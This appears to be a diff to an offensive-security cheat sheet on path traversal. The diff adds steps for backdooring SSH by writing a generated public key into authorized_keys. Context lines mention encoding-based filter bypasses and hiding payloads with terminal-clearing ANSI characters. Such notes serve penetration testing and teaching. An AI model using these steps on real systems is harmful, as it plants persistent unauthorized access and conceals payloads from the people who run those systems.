 ## Basic exploitation
 
 We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.

+## Backdooring the SSH
+
+Add an ssh key into the `~/.ssh` folder.
+
+1. `ssh-keygen`
+2. write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys`
+3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys
+
 ## Tips
 
 Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload.
